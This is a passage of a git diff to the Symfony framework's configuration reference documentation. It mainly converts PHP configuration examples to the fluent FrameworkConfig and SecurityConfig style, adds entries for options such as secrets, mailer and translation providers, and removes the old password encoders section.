@@ -1754,12 +1806,13 @@ collection each time it generates an asset's path:
     .. code-block:: php
 
         // config/packages/framework.php
-        $container->loadFromExtension('framework', [
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
             // ...
-            'assets' => [
-                'base_urls' => ['http://cdn.example.com/'],
-            ],
-        ]);
+            $framework->assets()
+                ->baseUrls(['http://cdn.example.com/']);
+        };
 
 .. _reference-framework-assets-packages:
 
@@ -1803,16 +1856,14 @@ You can group assets into packages, to specify different base URLs for them:
     .. code-block:: php
 
         // config/packages/framework.php
-        $container->loadFromExtension('framework', [
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
             // ...
-            'assets' => [
-                'packages' => [
-                    'avatars' => [
-                        'base_urls' => 'http://static_cdn.example.com/avatars',
-                    ],
-                ],
-            ],
-        ]);
+            $framework->assets()
+                ->package('avatars')
+                    ->baseUrls(['http://static_cdn.example.com/avatars']);
+        };
 
 Now you can use the ``avatars`` package in your templates:
 
@@ -1880,12 +1931,13 @@ Now, activate the ``version`` option:
     .. code-block:: php
 
         // config/packages/framework.php
-        $container->loadFromExtension('framework', [
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
             // ...
-            'assets' => [
-                'version' => 'v2',
-            ],
-        ]);
+            $framework->assets()
+                ->version('v2');
+        };
 
 Now, the same asset will be rendered as ``/images/logo.png?v2`` If you use
 this feature, you **must** manually increment the ``version`` value
@@ -2007,25 +2059,25 @@ individually for each asset package:
     .. code-block:: php
 
         // config/packages/framework.php
-        $container->loadFromExtension('framework', [
-            'assets' => [
-                'version_strategy' => 'app.asset.my_versioning_strategy',
-                'packages' => [
-                    'foo_package' => [
-                        // this package removes any versioning (its assets won't be versioned)
-                        'version' => null,
-                    ],
-                    'bar_package' => [
-                        // this package uses its own strategy (the default strategy is ignored)
-                        'version_strategy' => 'app.asset.another_version_strategy',
-                    ],
-                    'baz_package' => [
-                        // this package inherits the default strategy
-                        'base_path' => '/images',
-                    ],
-                ],
-            ],
-        ]);
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            // ...
+            $framework->assets()
+                ->versionStrategy('app.asset.my_versioning_strategy');
+
+            $framework->assets()->package('foo_package')
+                // this package removes any versioning (its assets won't be versioned)
+                ->version(null);
+
+            $framework->assets()->package('bar_package')
+                // this package uses its own strategy (the default strategy is ignored)
+                ->versionStrategy('app.asset.another_version_strategy');
+
+            $framework->assets()->package('baz_package')
+                // this package inherits the default strategy
+                ->basePath('/images');
+        };
 
 .. note::
 
@@ -2104,24 +2156,24 @@ package:
     .. code-block:: php
 
         // config/packages/framework.php
-        $container->loadFromExtension('framework', [
-            'assets' => [
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            // ...
+            $framework->assets()
                 // this manifest is applied to every asset (including packages)
-                'json_manifest_path' => '%kernel.project_dir%/public/build/manifest.json',
-                // you can use absolute URLs too and Symfony will download them automatically
-                // 'json_manifest_path' => 'https://cdn.example.com/manifest.json',
-                'packages' => [
-                    'foo_package' => [
-                        // this package uses its own manifest (the default file is ignored)
-                        'json_manifest_path' => '%kernel.project_dir%/public/build/a_different_manifest.json',
-                    ],
-                    'bar_package' => [
-                        // this package uses the global manifest (the default file is used)
-                        'base_path' => '/images',
-                    ],
-                ],
-            ],
-        ]);
+                ->jsonManifestPath('%kernel.project_dir%/public/build/manifest.json');
+
+            // you can use absolute URLs too and Symfony will download them automatically
+            // 'json_manifest_path' => 'https://cdn.example.com/manifest.json',
+            $framework->assets()->package('foo_package')
+                // this package uses its own manifest (the default file is ignored)
+                ->jsonManifestPath('%kernel.project_dir%/public/build/a_different_manifest.json');
+
+            $framework->assets()->package('bar_package')
+                // this package uses the global manifest (the default file is used)
+                ->basePath('/images');
+        };
 
 .. versionadded:: 5.1
 
@@ -2174,51 +2226,10 @@ enabled_locales
 
     The ``enabled_locales`` option was introduced in Symfony 5.1.
 
-Symfony applications generate by default the translation files for validation
-and security messages in all locales. If your application only uses some
-locales, use this option to restrict the files generated by Symfony and improve
-performance a bit:
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/packages/translation.yaml
-        framework:
-            translator:
-                enabled_locales: ['en', 'es']
-
-    .. code-block:: xml
+.. deprecated:: 5.4
 
-        <!-- config/packages/translation.xml -->
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <container xmlns="http://symfony.com/schema/dic/services"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xmlns:framework="http://symfony.com/schema/dic/symfony"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd
-                http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
-
-            <framework:config>
-                <framework:translator>
-                    <enabled-locale>en</enabled-locale>
-                    <enabled-locale>es</enabled-locale>
-                </framework:translator>
-            </framework:config>
-        </container>
-
-    .. code-block:: php
-
-        // config/packages/translation.php
-        $container->loadFromExtension('framework', [
-            'translator' => [
-                'enabled_locales' => ['en', 'es'],
-            ],
-        ]);
-
-If some user makes requests with a locale not included in this option, the
-application won't display any error because Symfony will display contents using
-the fallback locale.
+    Using ``framework.translator.enabled_locales`` has been deprecated in favor of
+    :ref:`framework.enabled_locales <reference-enabled-locales>` since Symfony 5.4.
 
 .. _fallback:
 
@@ -2242,9 +2253,9 @@ logging
 **default**: ``true`` when the debug mode is enabled, ``false`` otherwise.
 
 When ``true``, a log entry is made whenever the translator cannot find a translation
-for a given key. The logs are made to the ``translation`` channel and at the
-``debug`` for level for keys where there is a translation in the fallback
-locale and the ``warning`` level if there is no translation to use at all.
+for a given key. The logs are made to the ``translation`` channel at the
+``debug`` level for keys where there is a translation in the fallback
+locale, and the ``warning`` level if there is no translation to use at all.
 
 .. _reference-framework-translator-formatter:
 
@@ -2266,7 +2277,7 @@ paths
 This option allows to define an array of paths where the component will look
 for translation files. The later a path is added, the more priority it has
 (translations from later paths overwrite earlier ones). Translations from the
-`default_path <reference-translator-default_path>` have more priority than
+:ref:`default_path <reference-translator-default_path>` have more priority than
 translations from all these paths.
 
 .. _reference-translator-default_path:
@@ -2279,6 +2290,20 @@ default_path
 This option allows to define the path where the application translations files
 are stored.
 
+.. _reference-translator-providers:
+
+providers
+.........
+
+**type**: ``array`` **default**: ``[]``
+
+.. versionadded:: 5.3
+
+    The ``providers`` option was introduced in Symfony 5.3.
+
+This option enables and configures :ref:`translation providers <translation-providers>`
+to push and pull your translations to/from third party translation services.
+
 property_access
 ~~~~~~~~~~~~~~~
 
@@ -2343,6 +2368,8 @@ enabled
 
 **type**: ``boolean`` **default**: ``true`` or ``false`` depending on your installation
 
+.. _reference-validation:
+
 validation
 ~~~~~~~~~~
 
@@ -2430,22 +2457,15 @@ metadata of the class. You can define an array of strings with the names of
 several methods. In that case, all of them will be called in that order to load
 the metadata.
 
+.. _reference-validation-email_validation_mode:
+
 email_validation_mode
 .....................
 
 **type**: ``string`` **default**: ``loose``
 
-It controls the way email addresses are validated by the
-:doc:`/reference/constraints/Email` validator. The possible values are:
-
-* ``loose``, it uses a simple regular expression to validate the address (it
-  checks that at least one ``@`` character is present, etc.). This validation is
-  too simple and it's recommended to use the ``html5`` validation instead;
-* ``html5``, it validates email addresses using the same regular expression
-  defined in the HTML5 standard, making the backend validation consistent with
-  the one provided by browsers;
-* ``strict``, it uses the `egulias/email-validator`_ library (which you must
-  install separately) to validate the addresses according to the `RFC 5322`_.
+Sets the default value for the
+:ref:`"mode" option of the Email validator <reference-constraint-email-mode>`.
 
 .. _reference-validation-mapping:
 
@@ -2496,15 +2516,13 @@ the component will look for additional validation files:
     .. code-block:: php
 
         // config/packages/framework.php
-        $container->loadFromExtension('framework', [
-            'validation' => [
-                'mapping' => [
-                    'paths' => [
-                        '%kernel.project_dir%/config/validation/',
-                    ],
-                ],
-            ],
-        ]);
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $framework->validation()
+                ->mapping()
+                    ->paths(['%kernel.project_dir%/config/validation/']);
+        };
 
 annotations
 ~~~~~~~~~~~
@@ -2514,10 +2532,12 @@ annotations
 cache
 .....
 
-**type**: ``string`` **default**: ``'file'``
+**type**: ``string`` **default**: ``'php_array'``
 
 This option can be one of the following values:
 
+php_array
+    Use a PHP array to cache annotations in memory
 file
     Use the filesystem to cache annotations
 none
@@ -2525,6 +2545,10 @@ none
 a service id
     A service id referencing a `Doctrine Cache`_ implementation
 
+.. deprecated:: 5.3
+
+    Using a service ID as the value of ``cache`` is deprecated since Symfony 5.3.
+
 file_cache_dir
 ..............
 
@@ -2544,6 +2568,31 @@ annotation changes). For performance reasons, it is recommended to disable
 debug mode in production, which will happen automatically if you use the
 default value.
 
+
+secrets
+~~~~~~~
+
+decryption_env_var
+..................
+
+**type**: ``string`` **default**: ``base64:default::SYMFONY_DECRYPTION_SECRET``
+
+The environment variable that contains the decryption key.
+
+local_dotenv_file
+.................
+
+**type**: ``string`` **default**: ``%kernel.project_dir%/.env.%kernel.environment%.local``
+
+Path to an dotenv file that holds secrets. This is primarily used for testing.
+
+vault_directory
+...............
+
+**type**: ``string`` **default**: ``%kernel.project_dir%/config/secrets/%kernel.environment%``
+
+The directory where the vault of secrets is stored.
+
 .. _configuration-framework-serializer:
 
 serializer
@@ -2631,6 +2680,69 @@ Use the application logger instead of the PHP logger for logging PHP errors.
 When an integer value is used, it also sets the log level. Those integer
 values must be the same used in the `error_reporting PHP option`_.
 
+This option also accepts a map of PHP errors to log levels:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/framework.yaml
+        framework:
+            php_errors:
+                log:
+                    '!php/const \E_DEPRECATED': !php/const Psr\Log\LogLevel::ERROR
+                    '!php/const \E_USER_DEPRECATED': !php/const Psr\Log\LogLevel::ERROR
+                    '!php/const \E_NOTICE': !php/const Psr\Log\LogLevel::ERROR
+                    '!php/const \E_USER_NOTICE': !php/const Psr\Log\LogLevel::ERROR
+                    '!php/const \E_STRICT': !php/const Psr\Log\LogLevel::ERROR
+                    '!php/const \E_WARNING': !php/const Psr\Log\LogLevel::ERROR
+                    '!php/const \E_USER_WARNING': !php/const Psr\Log\LogLevel::ERROR
+                    '!php/const \E_COMPILE_WARNING': !php/const Psr\Log\LogLevel::ERROR
+                    '!php/const \E_CORE_WARNING': !php/const Psr\Log\LogLevel::ERROR
+                    '!php/const \E_USER_ERROR': !php/const Psr\Log\LogLevel::CRITICAL
+                    '!php/const \E_RECOVERABLE_ERROR': !php/const Psr\Log\LogLevel::CRITICAL
+                    '!php/const \E_COMPILE_ERROR': !php/const Psr\Log\LogLevel::CRITICAL
+                    '!php/const \E_PARSE': !php/const Psr\Log\LogLevel::CRITICAL
+                    '!php/const \E_ERROR': !php/const Psr\Log\LogLevel::CRITICAL
+                    '!php/const \E_CORE_ERROR': !php/const Psr\Log\LogLevel::CRITICAL
+
+    .. code-block:: xml
+
+        <!-- config/packages/framework.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:framework="http://symfony.com/schema/dic/symfony"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
+
+            <framework:config>
+                <!-- in XML configuration you cannot use PHP constants as the value of
+                     the 'type' attribute, which makes this format way less readable.
+                     Consider using YAML or PHP for this configuration -->
+                <framework:log type="8" logLevel="error"/>
+                <framework:log type="2" logLevel="error"/>
+                <!-- ... -->
+            </framework:config>
+        </container>
+
+    .. code-block:: php
+
+        // config/packages/framework.php
+        use Psr\Log\LogLevel;
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $framework->phpErrors()->log(\E_DEPRECATED, LogLevel::ERROR);
+            $framework->phpErrors()->log(\E_USER_DEPRECATED, LogLevel::ERROR);
+            // ...
+        };
+
+.. versionadded:: 5.3
+
+    The option to map PHP errors to log levels was introduced in Symfony 5.3.
+
 throw
 .....
 
@@ -2767,7 +2879,7 @@ To configure a Redis cache pool with a default lifetime of 1 hour, do the follow
                     <framework:pool
                         name="cache.mycache"
                         adapter="cache.adapter.redis"
-                        default-lifetime=3600
+                        default-lifetime="3600"
                     />
                 </framework:cache>
                 <!-- ... -->
@@ -2777,16 +2889,14 @@ To configure a Redis cache pool with a default lifetime of 1 hour, do the follow
     .. code-block:: php
 
         // config/packages/framework.php
-        $container->loadFromExtension('framework', [
-            'cache' => [
-                'pools' => [
-                    'cache.mycache' => [
-                        'adapter' => 'cache.adapter.redis',
-                        'default_lifetime' => 3600,
-                    ],
-                ],
-            ],
-        ]);
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $framework->cache()
+                ->pool('cache.mycache')
+                    ->adapters(['cache.adapter.redis'])
+                    ->defaultLifetime(3600);
+        };
 
 .. _reference-cache-pools-name:
 
@@ -2868,9 +2978,9 @@ The cache clearer used to clear your PSR-6 cache.
 prefix_seed
 ...........
 
-**type**: ``string`` **default**: ``null``
+**type**: ``string`` **default**: ``_%kernel.project_dir%.%kernel.container_class%``
 
-If defined, this value is used as part of the "namespace" generated for the
+This value is used as part of the "namespace" generated for the
 cache item keys. A common practice is to use the unique name of the application
 (e.g. ``symfony.com``) because that prevents naming collisions when deploying
 multiple applications into the same path (on different servers) that share the
@@ -2944,9 +3054,12 @@ A list of lock stores to be created by the framework extension.
     .. code-block:: php
 
         // config/packages/lock.php
-        $container->loadFromExtension('framework', [
-            'lock' => '%env(LOCK_DSN)%',
-        ]);
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $framework->lock()
+                ->resource('default', ['%env(LOCK_DSN)%']);
+        };
 
 .. seealso::
 
@@ -2961,17 +3074,135 @@ name
 
 Name of the lock you want to create.
 
-.. tip::
+mailer
+~~~~~~
+
+.. _mailer-dsn:
+
+dsn
+...
+
+**type**: ``string`` **default**: ``null``
+
+The DSN used by the mailer. When several DSN may be used, use
+``transports`` option (see below) instead.
+
+transports
+..........
+
+**type**: ``array``
+
+A :ref:`list of DSN <multiple-email-transports>` that can be used by the
+mailer. A transport name is the key and the dsn is the value.
+
+message_bus
+...........
+
+.. versionadded:: 5.1
+
+    The ``message_bus`` option was introduced in Symfony 5.1.
+
+**type**: ``string`` **default**: ``null`` or default bus if Messenger component is installed
+
+Service identifier of the message bus to use when using the
+:doc:`Messenger component </messenger>` (e.g. ``messenger.default_bus``).
+
+envelope
+........
+
+sender
+""""""
 
-    If you want to use the `RetryTillSaveStore` for :ref:`non-blocking locks <lock-blocking-locks>`,
-    you can do it by :doc:`decorating the store </service_container/service_decoration>` service:
+**type**: ``string``
+
+The "envelope sender" which is used as the value of ``MAIL FROM`` during the
+`SMTP session`_. This value overrides any other sender set in the code.
+
+recipients
+""""""""""
+
+**type**: ``array``
+
+The "envelope recipient" which is used as the value of ``RCPT TO`` during the
+the `SMTP session`_. This value overrides any other recipient set in the code.
+
+.. configuration-block::
 
     .. code-block:: yaml
 
-        lock.invoice.retry_till_save.store:
-            class: Symfony\Component\Lock\Store\RetryTillSaveStore
-            decorates: lock.invoice.store
-            arguments: ['@.inner', 100, 50]
+        # config/packages/mailer.yaml
+        framework:
+            mailer:
+                dsn: 'smtp://localhost:25'
+                envelope:
+                    recipients: ['admin@symfony.com', 'lead@symfony.com']
+
+    .. code-block:: xml
+
+        <!-- config/packages/mailer.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:framework="http://symfony.com/schema/dic/symfony"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
+            <framework:config>
+                <framework:mailer dsn="smtp://localhost:25">
+                    <framework:envelope>
+                        <framework:recipient>admin@symfony.com</framework:recipient>
+                        <framework:recipient>lead@symfony.com</framework:recipient>
+                    </framework:envelope>
+                </framework:mailer>
+            </framework:config>
+        </container>
+
+    .. code-block:: php
+
+        // config/packages/mailer.php
+        namespace Symfony\Component\DependencyInjection\Loader\Configurator;
+
+        return static function (ContainerConfigurator $containerConfigurator): void {
+            $containerConfigurator->extension('framework', [
+                'mailer' => [
+                    'dsn' => 'smtp://localhost:25',
+                    'envelope' => [
+                        'recipients' => [
+                            'admin@symfony.com',
+                            'lead@symfony.com',
+                        ],
+                    ],
+                ],
+            ]);
+        };
+
+.. _mailer-headers:
+
+headers
+.......
+
+.. versionadded:: 5.2
+
+    The ``headers`` mailer option was introduced in Symfony 5.2.
+
+**type**: ``array``
+
+Headers to add to emails. The key (``name`` attribute in xml format) is the
+header name and value the header value.
+
+.. seealso::
+
+    For more information, see :ref:`Configuring Emails Globally <mailer-configure-email-globally>`
+
+web_link
+~~~~~~~~
+
+enabled
+.......
+
+**type**: ``boolean`` **default**: ``true`` or ``false`` depending on your installation
+
+Adds a `Link HTTP header`_ to the response.
 
 workflows
 ~~~~~~~~~
@@ -3013,11 +3244,14 @@ A list of workflows to be created by the framework extension:
     .. code-block:: php
 
         // config/packages/workflow.php
-        $container->loadFromExtension('framework', [
-            'workflows' => [
-                'my_workflow' => // ...
-            ],
-        ]);
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $framework->workflows()
+                ->workflows('my_workflow')
+                    // ...
+            ;
+        };
 
 .. seealso::
 
@@ -3045,7 +3279,7 @@ Name of the workflow you want to create.
 audit_trail
 """""""""""
 
-**type**: ``bool``
+**type**: ``boolean``
 
 If set to ``true``, the :class:`Symfony\\Component\\Workflow\\EventListener\\AuditTrailListener`
 will be enabled.
@@ -3127,8 +3361,6 @@ to know their differences.
 .. _`HTTP Host header attacks`: https://www.skeletonscribe.net/2013/05/practical-http-host-header-attacks.html
 .. _`Security Advisory Blog post`: https://symfony.com/blog/security-releases-symfony-2-0-24-2-1-12-2-2-5-and-2-3-3-released#cve-2013-4752-request-gethost-poisoning
 .. _`Doctrine Cache`: https://www.doctrine-project.org/projects/doctrine-cache/en/current/index.html
-.. _`egulias/email-validator`: https://github.com/egulias/EmailValidator
-.. _`RFC 5322`: https://tools.ietf.org/html/rfc5322
 .. _`PhpStormProtocol`: https://github.com/aik099/PhpStormProtocol
 .. _`phpstorm-url-handler`: https://github.com/sanduhrs/phpstorm-url-handler
 .. _`blue/green deployment`: https://martinfowler.com/bliki/BlueGreenDeployment.html
@@ -3146,3 +3378,5 @@ to know their differences.
 .. _`session.cache-limiter`: https://www.php.net/manual/en/session.configuration.php#ini.session.cache-limiter
 .. _`Microsoft NTLM authentication protocol`: https://docs.microsoft.com/en-us/windows/win32/secauthn/microsoft-ntlm
 .. _`utf-8 modifier`: https://www.php.net/reference.pcre.pattern.modifiers
+.. _`Link HTTP header`: https://tools.ietf.org/html/rfc5988
+.. _`SMTP session`: https://en.wikipedia.org/wiki/Simple_Mail_Transfer_Protocol#SMTP_transport_example
diff --git a/reference/configuration/kernel.rst b/reference/configuration/kernel.rst
index 27707807ed4..006ad7b3208 100644
--- a/reference/configuration/kernel.rst
+++ b/reference/configuration/kernel.rst
@@ -5,18 +5,12 @@ Configuring in the Kernel
 =========================
 
 Some configuration can be done on the kernel class itself (located by default at
-``src/Kernel.php``). You can do this by overriding specific methods in
+``src/Kernel.php``). You can do this by overriding specific methods of
 the parent :class:`Symfony\\Component\\HttpKernel\\Kernel` class.
 
 Configuration
 -------------
 
-* `Charset`_
-* `Project Directory`_
-* `Cache Directory`_
-* `Log Directory`_
-* `Container Build Time`_
-
 In previous Symfony versions there was another configuration option to define
 the "kernel name", which is only important when
 :doc:`using applications with multiple kernels </configuration/multiple_kernels>`.
@@ -103,6 +97,8 @@ the :method:`Symfony\\Component\\HttpKernel\\Kernel::getCacheDir` method. To
 change this setting, override the ``getCacheDir()`` method to return the correct
 cache directory.
 
+.. _configuration-kernel-build-directory:
+
 Build Directory
 ~~~~~~~~~~~~~~~
 
@@ -123,7 +119,6 @@ the :method:`Symfony\\Component\\HttpKernel\\Kernel::getBuildDir` method. To
 change this setting, override the ``getBuildDir()`` method to return the correct
 build directory.
 
-
 Log Directory
 ~~~~~~~~~~~~~
 
diff --git a/reference/configuration/security.rst b/reference/configuration/security.rst
index f4310635c5e..50cc2ddf2cc 100644
--- a/reference/configuration/security.rst
+++ b/reference/configuration/security.rst
@@ -29,7 +29,6 @@ Configuration
 
 * `access_denied_url`_
 * `always_authenticate_before_granting`_
-* `anonymous`_
 * `erase_credentials`_
 * `hide_user_not_found`_
 * `session_fixation_strategy`_
@@ -40,7 +39,7 @@ Some of these options define tens of sub-options and they are explained in
 separate articles:
 
 * `access_control`_
-* `encoders`_
+* :ref:`hashers <passwordhasher-supported-algorithms>`
 * `firewalls`_
 * `providers`_
 * `role_hierarchy`_
@@ -58,19 +57,15 @@ always_authenticate_before_granting
 
 **type**: ``boolean`` **default**: ``false``
 
+.. deprecated:: 5.4
+
+    The ``always_authenticate_before_granting`` option was deprecated in
+    Symfony 5.4 and it will be removed in Symfony 6.0.
+
 If ``true``, the user is asked to authenticate before each call to the
 ``isGranted()`` method in services and controllers or ``is_granted()`` from
 templates.
 
-anonymous
-~~~~~~~~~
-
-**type**: ``string`` **default**: ``~``
-
-When set to ``lazy``, Symfony loads the user (and starts the session) only if
-the application actually accesses the ``User`` object (e.g. via a ``is_granted()``
-call in a template or ``isGranted()`` in a controller or service).
-
 erase_credentials
 ~~~~~~~~~~~~~~~~~
 
@@ -89,8 +84,8 @@ If ``true``, when a user is not found a generic exception of type
 is thrown with the message "Bad credentials".
 
 If ``false``, the exception thrown is of type
-:class:`Symfony\\Component\\Security\\Core\\Exception\\UsernameNotFoundException`
-and it includes the given not found username.
+:class:`Symfony\\Component\\Security\\Core\\Exception\\UserNotFoundException`
+and it includes the given not found user identifier.
 
 session_fixation_strategy
 ~~~~~~~~~~~~~~~~~~~~~~~~~
@@ -116,200 +111,10 @@ access_control
 
 Defines the security protection of the URLs of your application. It's used for
 example to trigger the user authentication when trying to access to the backend
-and to allow anonymous users to the login form page.
+and to allow unauthenticated users to the login form page.
 
 This option is explained in detail in :doc:`/security/access_control`.
 
-encoders
---------
-
-This option defines the algorithm used to *encode* the password of the users.
-Although Symfony calls it *"password encoding"* for historical reasons, this is
-in fact, *"password hashing"*.
-
-If your app defines more than one user class, each of them can define its own
-encoding algorithm. Also, each algorithm defines different config options:
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/packages/security.yaml
-        security:
-            # ...
-
-            encoders:
-                # auto encoder with default options
-                App\Entity\User: 'auto'
-
-                # auto encoder with custom options
-                App\Entity\User:
-                    algorithm: 'auto'
-                    cost:      15
-
-                # Sodium encoder with default options
-                App\Entity\User: 'sodium'
-
-                # Sodium encoder with custom options
-                App\Entity\User:
-                    algorithm:   'sodium'
-                    memory_cost:  16384 # Amount in KiB. (16384 = 16 MiB)
-                    time_cost:    2     # Number of iterations
-
-                # MessageDigestPasswordEncoder encoder using SHA512 hashing with default options
-                App\Entity\User: 'sha512'
-
-    .. code-block:: xml
-
-        <!-- config/packages/security.xml -->
-        <?xml version="1.0" charset="UTF-8" ?>
-        <srv:container xmlns="http://symfony.com/schema/dic/security"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xmlns:srv="http://symfony.com/schema/dic/services"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd
-                http://symfony.com/schema/dic/security
-                https://symfony.com/schema/dic/security/security-1.0.xsd">
-
-            <config>
-                <!-- ... -->
-                <!-- auto encoder with default options -->
-                <encoder
-                    class="App\Entity\User"
-                    algorithm="auto"
-                />
-
-                <!-- auto encoder with custom options -->
-                <encoder
-                    class="App\Entity\User"
-                    algorithm="auto"
-                    cost="15"
-                />
-
-                <!-- Sodium encoder with default options -->
-                <encoder
-                    class="App\Entity\User"
-                    algorithm="sodium"
-                />
-
-                <!-- Sodium encoder with custom options -->
-                <!-- memory_cost: amount in KiB. (16384 = 16 MiB)
-                     time_cost: number of iterations -->
-                <encoder
-                    class="App\Entity\User"
-                    algorithm="sodium"
-                    memory_cost="16384"
-                    time_cost="2"
-                />
-
-                <!-- MessageDigestPasswordEncoder encoder using SHA512 hashing with default options -->
-                <encoder
-                    class="App\Entity\User"
-                    algorithm="sha512"
-                />
-            </config>
-        </srv:container>
-
-    .. code-block:: php
-
-        // config/packages/security.php
-        use App\Entity\User;
-
-        $container->loadFromExtension('security', [
-            // ...
-            'encoders' => [
-                // auto encoder with default options
-                User::class => [
-                    'algorithm' => 'auto',
-                ],
-
-                // auto encoder with custom options
-                User::class => [
-                    'algorithm' => 'auto',
-                    'cost'      => 15,
-                ],
-
-                // Sodium encoder with default options
-                User::class => [
-                    'algorithm' => 'sodium',
-                ],
-
-                // Sodium encoder with custom options
-                User::class => [
-                    'algorithm' => 'sodium',
-                    'memory_cost' => 16384, // Amount in KiB. (16384 = 16 MiB)
-                    'time_cost' => 2,       // Number of iterations
-                ],
-
-                // MessageDigestPasswordEncoder encoder using SHA512 hashing with default options
-                User::class => [
-                    'algorithm' => 'sha512',
-                ],
-            ],
-        ]);
-
-.. tip::
-
-    You can also create your own password encoders as services and you can even
-    select a different password encoder for each user instance. Read
-    :doc:`this article </security/named_encoders>` for more details.
-
-.. _reference-security-sodium:
-.. _using-the-argon2i-password-encoder:
-
-Using the Sodium Password Encoder
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-
-It uses the `Argon2 key derivation function`_ and it's the encoder recommended
-by Symfony. Argon2 support was introduced in PHP 7.2, but if you use an earlier
-PHP version, you can install the `libsodium`_ PHP extension.
-
-The encoded passwords are ``96`` characters long, but due to the hashing
-requirements saved in the resulting hash this may change in the future, so make
-sure to allocate enough space for them to be persisted. Also, passwords include
-the `cryptographic salt`_ inside them (it's generated automatically for each new
-password) so you don't have to deal with it.
-
-.. _reference-security-encoder-auto:
-
-Using the "auto" Password Encoder
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-
-It selects automatically the best possible encoder. Currently, it tries to use
-Sodium by default and falls back to the `bcrypt password hashing function`_ if
-not possible. In the future, when PHP adds new hashing techniques, it may use
-different password hashers.
-
-It produces encoded passwords with ``60`` characters long, so make sure to
-allocate enough space for them to be persisted. Also, passwords include the
-`cryptographic salt`_ inside them (it's generated automatically for each new
-password) so you don't have to deal with it.
-
-Its only configuration option is ``cost``, which is an integer in the range of
-``4-31`` (by default, ``13``). Each single increment of the cost **doubles the
-time** it takes to encode a password. It's designed this way so the password
-strength can be adapted to the future improvements in computation power.
-
-You can change the cost at any time — even if you already have some passwords
-encoded using a different cost. New passwords will be encoded using the new
-cost, while the already encoded ones will be validated using a cost that was
-used back when they were encoded.
-
-.. tip::
-
-    A simple technique to make tests much faster when using BCrypt is to set
-    the cost to ``4``, which is the minimum value allowed, in the ``test``
-    environment configuration.
-
-.. _reference-security-pbkdf2:
-
-Using the PBKDF2 Encoder
-~~~~~~~~~~~~~~~~~~~~~~~~
-
-Using the `PBKDF2`_ encoder is no longer recommended since PHP added support for
-Sodium and BCrypt. Legacy application still using it are encouraged to upgrade
-to those newer encoding algorithms.
-
 firewalls
 ---------
 
@@ -336,7 +141,7 @@ application:
     .. code-block:: xml
 
         <!-- config/packages/security.xml -->
-        <?xml version="1.0" encoding="UTF-8"?>
+        <?xml version="1.0" encoding="UTF-8" ?>
         <srv:container xmlns="http://symfony.com/schema/dic/security"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xmlns:srv="http://symfony.com/schema/dic/services"
@@ -360,20 +165,20 @@ application:
     .. code-block:: php
 
         // config/packages/security.php
+        use Symfony\Config\SecurityConfig;
+
+        return static function (SecurityConfig $security) {
+            // ...
 
-        // ...
-        $container->loadFromExtension('security', [
-            'firewalls' => [
-                // 'main' is the name of the firewall (can be chosen freely)
-                'main' => [
-                    // 'pattern' is a regular expression matched against the incoming
-                    // request URL. If there's a match, authentication is triggered
-                    'pattern' => '^/admin',
-                    // the rest of options depend on the authentication mechanism
-                    // ...
-                ],
-            ],
-        ]);
+            // 'main' is the name of the firewall (can be chosen freely)
+            $security->firewall('main')
+                // 'pattern' is a regular expression matched against the incoming
+                // request URL. If there's a match, authentication is triggered
+                ->pattern('^/admin')
+                // the rest of options depend on the authentication mechanism
+                // ...
+            ;
+        };
 
 .. seealso::
 
@@ -410,6 +215,26 @@ depend on the authentication mechanism, which can be any of these:
                     http_digest:
                         # ...
 
+You can view actual information about the firewalls in your application with
+the ``debug:firewall`` command:
+
+.. code-block:: terminal
+
+    # displays a list of firewalls currently configured for your application
+    $ php bin/console debug:firewall
+
+    # displays the details of a specific firewall
+    $ php bin/console debug:firewall main
+
+    # displays the details of a specific firewall, including detailed information
+    # about the event listeners for the firewall
+    $ php bin/console debug:firewall main --events
+
+.. versionadded:: 5.3
+
+    The ``debug:firewall`` command was introduced in Symfony 5.3.
+
+
 .. _reference-security-firewall-form-login:
 
 ``form_login`` Authentication
@@ -552,6 +377,15 @@ the current firewall and not the other ones.
 The path which triggers logout. If you change it from the default value ``/logout``,
 you need to set up a route with a matching path.
 
+target
+~~~~~~
+
+**type**: ``string`` **default**: ``/``
+
+The relative path (if the value starts with ``/``), or absolute URL (if it
